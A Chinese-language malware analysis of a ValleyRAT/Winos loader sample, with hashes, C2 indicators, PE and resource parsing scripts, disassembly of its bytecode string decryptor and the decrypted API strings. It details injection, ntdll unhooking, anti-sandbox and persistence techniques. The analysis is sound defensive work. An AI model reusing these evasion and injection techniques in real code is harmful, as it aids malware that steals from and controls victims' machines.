Post

"2026年第2季度内职人员违纪名单信息名单公示.exe1"逆向分析

病毒逆向 阅读 16 点赞 0 评论 0

样本名称:2026年第2季度内职人员违纪名单信息名单公示.exe1
样本 SHA256:b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fb
样本 MD5:c8922fde4bda9a300d7aa683cd96ef50
样本 SHA1:52f6fd2f1f4924fc504a3baed384a96df62203eb
文件类型:PE32+ executable (GUI) x86-64, 6 sections, 232,448 bytes
编译器特征:MSVC(ATL 框架 + msvcrt.dll CRT,导入 atlTrace* 与 Component Categories 注册项)
时间戳:0x6A863862 = 2026-08-19 23:12:34 UTC
分析环境:Kali Linux / uv / Python / unicorn / objdump / r2 / tshark
辅助模型:Qwen3.6 27B Abliterated

摘要

样本是银狐(ValleyRAT/Winos)家族的第二阶段加载器。它以"纪检违纪人员名单公示"为名投递,投放后立即把自身复制到 %TEMP%\tmp3C00.tmp 并删除原文件,随后劫持 Windows 计划任务 SoftwareProtectionPlatform\SvcRestartTask 建立持久化,并把一段 3,213 字节的位置无关 stager 注入 svchost.exe。

外层 PE 的导入表中没有任何网络 API。全部网络能力位于注入到 svchost 的 stager 中,该 stager 在运行时通过 ROR13 哈希解析 wininet 并连接 C2。

C2 配置以密文形式嵌入 stager 尾部,解密链路为 样本自实现的 RC4 变体 → LZNT1 解压,还原出主机 hhwqascxsdr.cc 与端口 8080。

项目结论
家族判定银狐 / ValleyRAT / Winos(加载器阶段)
字符串保护76 条字符串,密钥索引表 + 字节码 VM(174 分支)
字符串解密样本内 fcn.140003880,可执行样本自身代码还原
外层网络能力无(导入表无 ws2_32/wininet/winhttp)
载荷投递3,213 字节 PIC stager,注入 svchost.exe -k netsvcs -s Schedule
stager 配置加密RC4 变体(S[i] ^ S[j])→ LZNT1
C2 域名hhwqascxsdr.cc
C2 端口8080
C2 IP43.198.213.132(AWS ap-east-1,A 记录可变)
C2 协议HTTP POST /,Connection: close
侧载载荷C:\ProgramData\Packages\NSecRpter.exe + vulkan-1.dll
持久化计划任务 SvcRestartTask(伪装为软件保护平台)
反分析DirectDraw 探测、磁盘容量检查、50 秒执行时长阈值、ntdll unhooking

一、样本准备与初判

1.1 解压样本

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ unzip -P threatbook -o files/b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fb.zip -d extract/b7fcd809
Archive:  files/b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fb.zip
  inflating: extract/b7fcd809/b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fb
  inflating: extract/b7fcd809/sample.exe

1.2 识别文件类型与哈希

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ file extract/b7fcd809/sample.exe
extract/b7fcd809/sample.exe: PE32+ executable for MS Windows 6.00 (GUI), x86-64, 6 sections

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ sha256sum extract/b7fcd809/sample.exe
b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fb  extract/b7fcd809/sample.exe

1.3 节区布局

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -h extract/b7fcd809/sample.exe
extract/b7fcd809/sample.exe:     文件格式 pei-x86-64

节:
Idx Name          Size      VMA               LMA               File off  Algn
  0 .text         00017694  0000000140001000  0000000140001000  00000400  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  1 .rdata        0000f9fe  0000000140019000  0000000140019000  00017c00  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .data         00000200  0000000140029000  0000000140029000  00027600  2**4
                  CONTENTS, ALLOC, LOAD, DATA
  3 .pdata        00000ec4  000000014002e000  000000014002e000  00027800  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .gehcont      00000004  000000014002f000  000000014002f000  00028800  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .rsrc         00010148  0000000140030000  0000000140030000  00028a00  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA

映射关系确立,后续所有地址换算依据此表:

节区虚拟地址文件偏移
.text0x1400010000x400
.rdata0x1400190000x17c00
.data0x1400290000x27600
.pdata0x14002e0000x27800
.rsrc0x1400300000x28a00

1.4 虚拟大小与磁盘大小的差异

objdump -h 只显示 Size(磁盘大小)。比较 PE 头中声明的 VirtualSize 才能看出布局意图:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct
d=open('extract/b7fcd809/sample.exe','rb').read()
pe=struct.unpack_from('<I',d,0x3c)[0]
n=struct.unpack_from('<H',d,pe+6)[0]; osz=struct.unpack_from('<H',d,pe+0x14)[0]
sh=pe+0x18+osz
print(f'{\"节区\":10s} {\"VSize\":>8s} {\"RawSize\":>8s} {\"比值\":>7s}')
for i in range(n):
    o=sh+i*40
    nm=d[o:o+8].rstrip(b'\0').decode()
    vs,va,rs,rp=struct.unpack_from('<IIII',d,o+8)
    print(f'{nm:10s} {vs:8x} {rs:8x} {vs/rs if rs else 0:7.2f}')
"
节区            VSize  RawSize      比值
.text         17694    17800    1.00
.rdata         f9fe     fa00    1.00
.data          4390      200   33.78
.pdata          ec4     1000    0.92
.gehcont          4      200    0.01
.rsrc         10148    10200    1.00

.data 的 VirtualSize 是 RawSize 的 33.78 倍 —— 该节区绝大部分是运行时填充的 BSS,磁盘上不含内容。后续分析中凡是 .data 高地址的引用,都指向运行时才存在的数据,静态读取只会得到零。

1.5 导入表即能力清单

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -x extract/b7fcd809/sample.exe | sed -n '/Import Tables/,$p' | grep 'DLL Name'
	DLL Name: KERNEL32.dll
	DLL Name: USER32.dll
	DLL Name: ADVAPI32.dll
	DLL Name: wevtapi.dll
	DLL Name: d3d11.dll
	DLL Name: ntdll.dll
	DLL Name: msvcrt.dll

七个 DLL,没有一个是网络库。这一点是本次分析最重要的初始判断依据,理由有二:

第一,沙箱报告显示样本具备网络行为。 报告记录了一段 3,213 字节的 stager 被注入 svchost.exe。若外层 PE 不导入任何网络 API,那么网络能力必然在那段 stch 中,或经运行时解析获得。

第二,导入表本身已经勾勒出能力轮廓。 逐项看关键导入:

DLL关键 API指向的行为
KERNEL32DeviceIoControl与内核驱动通信
KERNEL32CreateFileMappingW + MapViewOfFile文件映射,用于绕过常规文件读取监控
KERNEL32GetSystemDirectoryW拼接系统目录路径(读取干净 ntdll.dll 的前置动作)
KERNEL32VirtualProtect修改内存页属性
KERNEL32GetDiskFreeSpaceExW磁盘容量探测(沙箱特征)
KERNEL32IsDebuggerPresent反调试
ADVAPI32OpenProcessToken · GetTokenInformation · AllocateAndInitializeSid · EqualSid令牌与管理员权限判定
wevtapiEvtQuery · EvtNext · EvtRender事件日志查询
d3d11D3D11CreateDeviceGPU 探测
USER32EnumDisplayDevicesW显示适配器枚举
ntdllRtlLookupFunctionEntry · RtlVirtualUnwindPE 手工映射所需的展开信息处理

DeviceIoControl + GetSystemDirectoryW + VirtualProtect 的组合,配合 ntdll 的展开函数,指向一个明确的技术动作:读取磁盘上的干净 ntdll.dll,覆盖内存中被 EDR 打过补丁的代码节区。这一判断在第五章得到验证。

1.6 字符串分布与第一个加密信号

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ strings -a -el -n 6 extract/b7fcd809/sample.exe | sed -n '25,50p'
atlTraceISAPI
kernel32.dll
ERROR : Unable to initialize critical section in CAtlBaseModule
mscoree.dll
msvcrt.dll
advapi32
kernel32
p^Udgdf[^]qkYoeUsbhpMreu
ipuhveBdeTuBF
[vzVKhPMZHmZveiy]Y[xgY\HeFBXhl[M6
LlZyli_ZgGgkMtcGFyYEAopdD
gFeg]pYEkwzwziTpqqI[sPnVt`_ZBGtF
mn`pJHgCxlk\O`rYDUTapj\II\KKYFqC8
G`rg[\pOiq[dSpIuh_smTeTTLN
JyxI]ErFryBaFQyvldos_ET^`\]`\yNfNYnA&
FuUphWSPV`CZsnzi&
QwkTkLxEakuJTHZy$

前 8 条是 ATL 框架的注册表路径与错误提示,属于编译器产物。从 p^Udgdf[^]qkYoeUsbhpMreu 开始出现字符集异常的字符串:仅含小写字母、大写字母、数字与 ` [ \ ] ^ _ $ & 6 * ! @ . 等符号,不含空格与常见英文词。这是加密数据的特征,而非自然语言。

1.7 定位加密字符串的宿主资源

加密串位于文件偏移 0x37266。要确定它属于哪个资源,需要按资源目录逐层展开:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct
d=open('extract/b7fcd809/sample.exe','rb').read()
RSRC_VA,RSRC_OFF=0x30000,0x28a00
def rd(o,n): return d[RSRC_OFF+o:RSRC_OFF+o+n]
def walk(off,path,depth=0):
    if depth>3: return
    nN=struct.unpack_from('<H',rd(off+12,2))[0]
    nI=struct.unpack_from('<H',rd(off+14,2))[0]
    for i in range(nN+nI):
        o=off+16+i*8
        name,sub=struct.unpack_from('<II',rd(o,8))
        suboff=sub&0x7fffffff
        nm=str(name) if not (name&0x80000000) else '?'
        if sub&0x80000000: walk(suboff,path+'/'+nm,depth+1)
        else:
            rva,size,cp,res=struct.unpack_from('<IIII',rd(suboff,16))
            foff=RSRC_OFF+(rva-RSRC_VA)
            print(f'  {path}/{nm:6s} RVA={rva:#08x} size={size:#08x} ({size:6d})  file={foff:#08x}')
walk(0,'')
"
  /1/68/1033   RVA=0x0302f8 size=0x001cac (  7340)  file=0x028cf8
  /1/193/1033   RVA=0x031fa4 size=0x000cac (  3244)  file=0x02a9a4
  /2/161/1033   RVA=0x032c50 size=0x0012e8 (  4840)  file=0x02b650
  /3/200/1033   RVA=0x033f38 size=0x0002e3 (   739)  file=0x02c938
  /3/201/1033   RVA=0x03421c size=0x0007db (  2011)  file=0x02cc1c
  /3/202/1033   RVA=0x0349f8 size=0x0015cf (  5583)  file=0x02d3f8
  /3/203/1033   RVA=0x035fc8 size=0x00412f ( 16687)  file=0x02e9c8
  /3/204/1033   RVA=0x03a0f8 size=0x003ded ( 15853)  file=0x032af8
  /8/181/1033   RVA=0x03dee8 size=0x00094d (  2381)  file=0x0368e8
  /11/25/1033   RVA=0x03e838 size=0x0002fe (   766)  file=0x037238
  /14/101/1033  RVA=0x03eb38 size=0x00004c (    76)  file=0x037538
  /16/1/2070    RVA=0x03eb84 size=0x0015c4 (  5572)  file=0x037584

加密串区 0x37266 落在 /11/25(类型 11 = RT_MESSAGETABLE) 内,该资源文件范围是 0x37238–0x37536。

选 MESSAGETABLE 作为宿主不是随意的。消息表在正常程序中用于存储错误提示文本,其本身即是一段长度不一的文本数据,静态扫描工具通常不会对其内容做特别检查。把加密串塞进消息表的第一个块,使它在结构上"看起来像"消息表内容。

1.8 资源完整性验证

在认定资源是加密宿主之前,需要先排除"资源本身就是合法图像"这一可能。逐项校验:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct,zlib
d=open('extract/b7fcd809/sample.exe','rb').read()
pngs=[('/3/200',0x2c938,0x2e3),('/3/201',0x2cc1c,0x7db),('/3/202',0x2d3f8,0x15cf),
('/3/203',0x2e9c8,0x412f),('/3/204',0x32af8,0x3ded)]
for nm,o,sz in pngs:
    seg=d[o:o+sz]; i=8; chunks=[]; W=H=None; okcrc=True
    while i<len(seg)-8:
        ln=struct.unpack_from('>I',seg,i)[0]; typ=seg[i+4:i+8]
        data=seg[i+8:i+8+ln]; crc=struct.unpack_from('>I',seg,i+8+ln)[0]
        if (zlib.crc32(typ+data)&0xffffffff)!=crc: okcrc=False
        if typ==b'IHDR': W,H=struct.unpack_from('>II',data)
        chunks.append(typ.decode('latin1')); i+=12+ln
        if typ==b'IEND': break
    print(f'{nm}: {W}x{H} chunks={chunks} CRC全通过={okcrc} 消费字节={i}/{sz}')
"
/3/200: 16x16 chunks=['IHDR', 'pHYs', 'IDAT', 'IEND'] CRC全通过=True 消费字节=739/739
/3/201: 32x32 chunks=['IHDR', 'pHYs', 'IDAT', 'IEND'] CRC全通过=True 消费字节=2011/2011
/3/202: 64x64 chunks=['IHDR', 'pHYs', 'IDAT', 'IEND'] CRC全通过=True 消费字节=5583/5583
/3/203: 128x128 chunks=['IHDR', 'pHYs', 'IDAT', 'IDAT', 'IDAT', 'IEND'] CRC全通过=True 消费字节=16687/16687
/3/204: 256x256 chunks=['IHDR', 'pHYs', 'tEXt', 'IDAT', 'IDAT', 'IEND'] CRC全通过=True 消费字节=15853/15853

五个 PNG 的 CRC 全部通过,且消费字节数精确等于资源分配大小 —— 没有多余空间可供藏匿数据。

同样的方法验证光标与位图资源:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct
d=open('extract/b7fcd809/sample.exe','rb').read()
# BITMAPINFOHEADER: biSize,bw,bh,planes,bpp,comp,imgSize
o=0x2b650
bisize,bw,bh=struct.unpack_from('<III',d,o)
planes,bpp=struct.unpack_from('<HH',d,o+12)
imgsz=struct.unpack_from('<I',d,o+20)[0]
print(f'/2/161 BITMAPINFOHEADER: biSize={bisize} {bw}x{bh} planes={planes} bpp={bpp} imgSize={imgsz}')
print(f'  期望像素 = {bw*bh*bpp//8} 字节; 资源 {4840} - 头 {bisize} = {4840-bisize}')
for nm,off,sz in [('/1/68',0x28cf8,0x1cac),('/1/193',0x2a9a4,0xcac)]:
    t,cnt=struct.unpack_from('<HH',d,off)
    bis,bw,bh=struct.unpack_from('<III',d,off+4)
    pl,bpp=struct.unpack_from('<HH',d,off+16)
    imgs=struct.unpack_from('<I',d,off+8+20)[0]
    print(f'{nm}: type={t} count={cnt} DIB {bw}x{bh} bpp={bpp} biSizeImage={imgs}; 资源 {sz} - 4(类型) - 40(DIB) = {sz-44}')
"
/2/161 BITMAPINFOHEADER: biSize=40 40x40 planes=1 bpp=24 imgSize=4800
  期望像素 = 4800 字节; 资源 4840 - 头 40 = 4800
/1/68: type=26 count=41 DIB 40x48 bpp=24 biSizeImage=7296; 资源 7340 - 4(类型) - 40(DIB) = 7296
/1/193: type=26 count=20 DIB 40x64 bpp=24 biSizeImage=3200; 资源 3244 - 4(类型) - 40(DIB) = 3200

三个资源都自洽:位图的 4800 像素数据精确用满剩余空间;两个光标的 biSizeImage 字段声明的大小(7296、3200)也精确等于剩余空间。这些是合法的光标/位图,其高熵来自图像数据本身(PNG 压缩与位图抖动),不是隐藏载荷。

结论:12 个资源中只有 /11/25 携带非图像数据。 其余 11 项均已验证为合法资源。

二、字符串保护机制

2.1 定位字符串解密函数

加密串没有直接的代码引用(lea 指向该区域的指令数为零),说明通过资源 API 运行时读取。真正的线索在导入名的使用模式中 —— 大量 LoadLibraryA + GetProcAddress 之前,都跟着同一段调用序列。

在 fcn.140007600 中可以看到这个固定模式:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ timeout 600 r2 -q -e scr.color=0 -c 'aaa; s 0x140007600; pdf' extract/b7fcd809/sample.exe | head -22
┌ 1676: fcn.140007600 (void *arg1);
│           0x140007600      48894c2408     mov qword [var_8h], rcx    ; arg1
│           0x140007607      4881ec280a..   sub rsp, 0xa28
│           0x14000760e      bac3f6e6a3     mov edx, 0xa3e6f6c3
│           0x140007613      488d8c2488..   lea rcx, [var_288h]
│           0x14000761b      e860c2ffff     call fcn.140003880
│           0x140007620      488d8c2420..   lea rcx, [lpLibFileName]
│           0x140007628      488bf9         mov rdi, rcx
│           0x14000762b      488bf0         mov rsi, rax
│           0x14000762e      b918000000     mov ecx, 0x18              ; 24
│           0x140007633      f3a4           rep movsb byte [rdi], byte [rsi]
│           0x140007635      488b8c2420..   mov rcx, qword [lpLibFileName] ; LPCSTR lpLibFileName
│           0x14000763d      ff15751a0100   call qword [sym.imp.KERNEL32.dll_LoadLibraryA]

模式固定为三步:

mov  edx, <32 位密钥>
lea  rcx, <输出缓冲>
call fcn.140003880          ; 解密
...
rep movsb (24 字节)          ; 拷入目标槽位
call LoadLibraryA / GetProcAddress

函数签名是 decrypt(out, uint32_t key),输出上限 24 字节。全样本共 147 处调用,76 个唯一密钥。

2.2 密钥索引表

fcn.140003880 首先用密钥查表:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ timeout 600 r2 -q -e scr.color=0 -c 'aaa; s 0x140005e60; pdf' extract/b7fcd809/sample.exe | head -26
┌ 179: fcn.140005e60 (int64_t arg1);
│           0x140005e60      894c2408       mov dword [var_8h], ecx    ; arg1
│           0x140005e64      4883ec28       sub rsp, 0x28
│           0x140005e68      48c7042400..   mov qword [rsp], 0
│           0x140005e70      48c7442410..   mov qword [var_10h], 0x5b  ; 91
│       ┌─> 0x140005e79      488b442410     mov rax, qword [var_10h]
│       ╎   0x140005e7e      48390424       cmp qword [rsp], rax
│      ┌──< 0x140005e82      7358           jae 0x140005edc
│      │╎   0x140005e84      488b0424       mov rax, qword [rsp]
│      │╎   0x140005e88      488b4c2410     mov rcx, qword [var_10h]
│      │╎   0x140005e8d      482bc8         sub rcx, rax
│      │╎   0x140005e93      33d2           xor edx, edx
│      │╎   0x140005e95      b902000000     mov ecx, 2
│      │╎   0x140005e9a      48f7f1         div rcx
│      │╎   0x140005e9d      488b0c24       mov rcx, qword [rsp]
│      │╎   0x140005ea1      4803c8         add rcx, rax
│      │╎   0x140005ea7      4889442408     mov qword [var_8h_2], rax
│      │╎   0x140005eac      486b4424080c   imul rax, qword [var_8h_2], 0xc
│      │╎   0x140005eb2      488d0db740..   lea rcx, [0x140019f70]
│      │╎   0x140005eb9      8b542430       mov edx, dword [var_8h]
│      │╎   0x140005ebd      391401         cmp dword [rcx + rax], edx
│     ┌───< 0x140005ec0      730e           jae 0x140005ed0

这是一个标准的二分查找:

void *lookup(uint32_t key) {
    size_t lo = 0, hi = 0x5b;                    /* 91 项 */
    while (lo < hi) {
        size_t mid = lo + (hi - lo) / 2;
        if (table[mid].key < key) lo = mid + 1;  /* imul rax, mid, 0xc */
        else                      hi = mid;      /* 每项 12 字节 */
    }
    if (lo < 0x5b && table[lo].key == key) return &table[lo];
    return NULL;
}

表在 0x140019f70,每项 12 字节,共 91 项,按密钥升序排列(已验证单调递增)。

提取这张表:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct
d=open('extract/b7fcd809/sample.exe','rb').read()
o=0x17c00+(0x140019f70-0x140019000)
print(f'{\"idx\":>3s} {\"key\":>10s} {\"f4\":>8s} {\"f6\":>6s} {\"f8\":>6s} {\"f9\":>4s}')
for i in range(0x5b):
    b=o+i*12
    key=struct.unpack_from('<I',d,b)[0]
    f4=struct.unpack_from('<H',d,b+4)[0]
    f6=struct.unpack_from('<H',d,b+6)[0]
    f8=struct.unpack_from('<I',d,b+8)[0]
    f9=d[b+9]
    if i<8 or i>0x58: print(f'{i:3d} {key:#010x} {f4:8d} {f6:6d} {f8:6d} {f9:4d}')
ks=[struct.unpack_from('<I',d,o+i*12)[0] for i in range(0x5b)]
print('key 升序:', all(ks[i]<ks[i+1] for i in range(90)))
"
idx        key       f4     f6     f8   f9
  0 0x02abdab4        0     21     21    0
  1 0x041ea79d        2     18     18    0
  2 0x09750505        4     17     17    0
  3 0x0e80fd3a        6     11     11    0
  4 0x0e81b808        7     15     15    0
  5 0x0e843f3b        8    124    318    1
  6 0x16c7d1fe       16     46    279    1
  7 0x185776b5       19     24     24    0
 ...
 89 0xf0031e02      174      6      6    0
 90 0xfaba0065      175     11     11    0
key 升序: True

字段语义:f4 为累计字符索引(严格递增:0,2,4,6,7,8,16,19...),f6 为字符串长度,f8 为数据偏移,f9 为标志位(长条目为 1)。

2.3 解密核心是一次字节码解释

密钥查表之后,fcn.140003880 进入一个解释器循环。它的分派逻辑是本次分析中技术含量最高的部分:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ timeout 600 r2 -q -e scr.color=0 -c 'aaa; s 0x140003af3; pd 16' extract/b7fcd809/sample.exe | head -18
│           0x140003af9      488d051059..   lea rax, [0x140019410]
│           0x140003b00      488b4c2430     mov rcx, qword [var_30h]
│           0x140003b05      48baf3d618..   movabs rdx, 0x91e07a2c4b18d6f3
│           0x140003b0f      488b04c8       mov rax, qword [rax + rcx*8]
│           0x140003b13      4833c2         xor rax, rdx
│           0x140003b16      4889842488..   mov qword [var_88h], rax
│           0x140003b1e      0fb6842488..   movzx eax, byte [var_88h]
│           0x140003b26      83f05c         xor eax, 0x5c              ; 92
│           0x140003b29      88442428       mov byte [var_28h], al
│           0x140003b2d      488b842488..   mov rax, qword [var_88h]
│           0x140003b35      48c1e820       shr rax, 0x20
│           0x140003b39      89442458       mov dword [var_58h], eax
│           0x140003b3d      0fb6442428     movzx eax, byte [var_28h]
│           0x140003b46      8b44244c       mov eax, dword [var_4ch]
│           0x140003b4a      83e806         sub eax, 6
│           0x140003b51      817c244cad..   cmp dword [var_4ch], 0xad
│      ┌──< 0x140003b59      0f87db020000   ja case.0x140003b7d.7
│      ││   0x140003b5f      486344244c     movsxd rax, dword [var_4ch]
│      ││   0x140003b64      488d0d95c4..   lea rcx, [0x140000000]
│      ││   0x140003b6b      0fb6840154..   movzx eax, byte [rcx + rax + 0x3f54]
│      ││   0x140003b73      8b8481343f..   mov eax, dword [rcx + rax*4 + 0x3f34]
│      ││   0x140003b7a      4803c1         add rax, rcx
│      ││   0x140003b7d      ffe0           jmp rax                    ; switch table (174 cases) at 0x140003f34
│      ││   ;-- case 58:
│      ││   0x140003b9e      488b442420     mov rax, qword [var_20h]
│      ││   0x140003ba3      488b4018       mov rax, qword [rax + 0x18]
│      ││   0x140003ba7      4889842490..   mov qword [var_90h], rax

解码链为:

uint64_t word = opcode_table[counter];      /* 11 项表 @ 0x140019410 */
uint64_t dec  = word ^ 0x91e07a2c4b18d6f3;  /* 固定 XOR 密钥 */
uint8_t  op   = (uint8_t)dec ^ 0x5C;        /* 低字节再异或 */
uint32_t arg  = (uint32_t)(dec >> 32);      /* 高 32 位作操作数 */
int32_t  idx  = (int32_t)op - 6;            /* 归一化 */
if (idx > 0xAD) goto out;                   /* 174 个合法操作码 */
goto *jump_table[idx];                      /* 二级跳转表 */

其中跳转表是一对表:字节索引表在 0x140003F54,RVA 表在 0x140003F34。

这个设计的意图值得说明。 如果把 76 个字符串明文放在文件里,静态分析者一条 strings 就能看到全部配置。改用"密钥 → 表项 → 字节码程序 → 输出"这条链,使每个字符串都需要实际执行解密器才能获得,而解密器自身由 174 个分支构成,静态阅读成本极高。

选择字节码解释器而非简单异或,还有一层考量:解释器的操作码被 XOR 加密(0x91e07a2c4b18d6f3),且低字节还叠加一次 0x5C 异或。即便分析者定位到跳转表,也要先还原出这两个常量才能理解分派逻辑。

2.4 用 Unicorn 执行样本自身的解密器

fcn.140003880 只调用一个内部函数(fcn.140005e60 查表),不触碰任何系统 API。这意味着它可以在纯内存环境中直接执行,无需模拟 Windows 环境。

据此编写脚本,让样本自己完成解密:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ timeout 600 uv run --no-project python /tmp/dec.py 2>&1 | tail -40
[+] 76 个密钥
  0xe9aa81ce ptr=0x014002c7f0 '*[System[EventID=4624]]'
  0xc2fe7683 ptr=0x014002c250 'Security'
  0x5f99bf0c ptr=0x014002a630 "Event/EventData/Data[@Name='LogonType']"
  0x16c7d1fe ptr=0x0140029550 '*[System[EventID=1102]]'
  0x5d9629e4 ptr=0x014002a450 'virtual'
  0x6fdffa11 ptr=0x014002a9f0 'vmware'
  0x7fdf1dfe ptr=0x014002af90 'vbox'
  0x61d0f746 ptr=0x014002a6d0 'hyper-v'
  0xa62a3b3b ptr=0x014002b8f0 'ntdll.dll'
  0xca67b978 ptr=0x014002c390 'NtAllocateVirtualMemory'
  0x43e32f32 ptr=0x0140029d70 'NtWriteVirtualMemory'
  0x3f826994 ptr=0x0140029b90 'C:\\'
  0x49d4e401 ptr=0x0140029f50 'WDDM'
  0xcb39ca07 ptr=0x014002c4d0 'C:\\Windows\\System32\\ntdll.dll'
  0xe49d7b3f ptr=0x014002c750 'C:\\Windows\\System32\\kernel32.dll'
  0x6896fbe5 ptr=0x014002a810 'C:\\Windows\\System32\\user32.dll'
  0xeb5970ff ptr=0x014002c890 'SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v4\\Fu'
  0x8b51b27d ptr=0x014002b2b0 'SOFTWARE\\Microsoft\\Hyper-V'
  0x2dda5baf ptr=0x0140029870 'SOFTWARE\\Microsoft\\InetStp'
  0x7c7501f9 ptr=0x014002aef0 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Vir'
  0x85bd3a4c ptr=0x014002b0d0 'SOFTWARE\\Microsoft\\PowerShell\\3'
  0x250527e0 ptr=0x0140029730 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Intern'
  0x57eddd62 ptr=0x014002a270 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninst'
  0x0e843f3b ptr=0x01400294b0 'SOFTWARE\\Wow6432Node\\Microsoft\\NET Framework Set'
  0xa3e6f6c3 ptr=0x014002b710 'kernel32.dll'
  0xa3fbd5fb ptr=0x014002b850 'GetModuleFileNameW'
  0x7159ec47 ptr=0x014002ab30 'GetTempPathW'
  0x9f9bec99 ptr=0x014002b5d0 'GetTempFileNameW'
  0x90418781 ptr=0x014002b3f0 'DeleteFileW'
  0x7031bdaf ptr=0x014002aa90 'MoveFileW'
  0xd716d510 ptr=0x014002c6b0 'MoveFileExW'
  0x0e80fd3a ptr=0x0140029370 'ExitProcess'
  0xb3153b16 ptr=0x014002bd50 'tmp'
  0x86fe8652 ptr=0x014002b170 'GetProcessHeap'
  0x53a65e77 ptr=0x014002a130 'HeapReAlloc'
  0x7a43974a ptr=0x014002ae50 'NtQuerySystemInformation'
  0x32bb2bc9 ptr=0x0140029a50 'GetProcessId'
  0x5755dbf0 ptr=0x014002a1d0 'DuplicateHandle'
  0xa9c70663 ptr=0x014002ba30 'IoCompletion'
  0x8160b23b ptr=0x014002b030 'ddraw.dll'
  0xcad0f09a ptr=0x014002c430 'DirectDrawCreate'
  0xbbf7c313 ptr=0x014002bf30 'SeDebugPrivilege'
  0xaeb6049c ptr=0x014002bc10 'VirtualAllocEx'
  0xc0088eea ptr=0x014002c070 'WriteProcessMemory'
  0x4f644736 ptr=0x0140029ff0 'shell32.dll'
  0xb289d372 ptr=0x014002bcb0 'ShellExecuteExW'
  0x254fa59a ptr=0x01400297d0 'NtQueryObject'
  0xc3fdbe86 ptr=0x014002c2f0 'PostQueuedCompletionStatus'
  0x78381004 ptr=0x014002ad10 'ZwSetIoCompletion'
  0xa0ee5c56 ptr=0x014002b670 'bdservicehost.exe'
  0x305caa6d ptr=0x01400299b0 'VirtualQueryEx'
  0x09750505 ptr=0x01400292d0 'ReadProcessMemory'
  0xa62a6c63 ptr=0x014002b990 'ntdll.dll'
  0x951e183d ptr=0x014002b530 '\\ntdll.dll'
  0x88a82ec2 ptr=0x014002b210 '.text'
  0x935342df ptr=0x014002b490 'vss'
  0xa3f9edb4 ptr=0x014002b7b0 'Schedule'
  0xd3c5e4f6 ptr=0x014002c570 'lstrcmpiW'
  0x185776b5 ptr=0x01400295f0 'CreateToolhelp32Snapshot'
  0xfaba0065 ptr=0x014002c9d0 'CloseHandle'
  0x0e81b808 ptr=0x0140029410 'Process32FirstW'
  0xabe5123f ptr=0x014002bb70 'Process32NextW'
  0x5056df37 ptr=0x014002a090 'GetLastError'
  0x5ea49a38 ptr=0x014002a590 'NtOpenProcess'
  0xb8a2bdd5 ptr=0x014002bdf0 'ADVAPI32.dll'
  0x67ff005d ptr=0x014002a770 'OpenServiceW'
  0xd51fd8cf ptr=0x014002c610 'StartServiceW'
  0xab8189ab ptr=0x014002bad0 'OpenSCManagerW'
  0x39f78448 ptr=0x0140029af0 'QueryServiceStatus'
  0x2e47fe60 ptr=0x0140029910 'CloseServiceHandle'
  0x41ac2090 ptr=0x0140029c30 'EnumServicesStatusExW'
  0x5e5ad0c3 ptr=0x014002a4f0 'OpenProcessToken'
  0x02abdab4 ptr=0x0140029190 'LookupPrivilegeValueW'
  0x5b11ad63 ptr=0x014002a3b0 'AdjustTokenPrivileges'
  0x21706f64 ptr=0x0140029690 'IsUserAnAdmin'
  0x76088bbe ptr=0x014002ac70 'runas'

76 个字符串全部还原。返回值是指向 .data BSS 区(0x140029xxx)的指针,指向运行时构造的 Unicode 字符串对象。

2.5 还原结果按行为分类

类别字符串
沙箱检测virtual vmware vbox hyper-v WDDM SOFTWARE\Microsoft\Hyper-V SOFTWARE\Microsoft\InetStp SOFTWARE\Microsoft\PowerShell\3 SOFTWARE\...\NET Framework Setup\NDP\v4\Fu SOFTWARE\Wow6432Node\...\NET Framework Set SOFTWARE\Microsoft\Windows NT\CurrentVersion\Vir
权限提升SeDebugPrivilege OpenProcessToken LookupPrivilegeValueW AdjustTokenPrivileges IsUserAnAdmin runas
进程注入NtAllocateVirtualMemory NtWriteVirtualMemory NtOpenProcess VirtualAllocEx WriteProcessMemory ReadProcessMemory VirtualQueryEx DuplicateHandle GetProcessId
事件日志侦察*[System[EventID=4624]] *[System[EventID=1102]] Event/EventData/Data[@Name='LogonType'] Security
服务操作OpenSCManagerW OpenServiceW StartServiceW QueryServiceStatus CloseServiceHandle EnumServicesStatusExW Schedule bdservicehost.exe
文件落地GetTempPathW GetTempFileNameW MoveFileW MoveFileExW DeleteFileW ShellExecuteExW tmp shell32.dll
反 EDRC:\Windows\System32\ntdll.dll \ntdll.dll ntdll.dll kernel32.dll user32.dll .text lstrcmpiW
进程枚举CreateToolhelp32Snapshot Process32FirstW Process32NextW
DirectDrawddraw.dll DirectDrawCreate
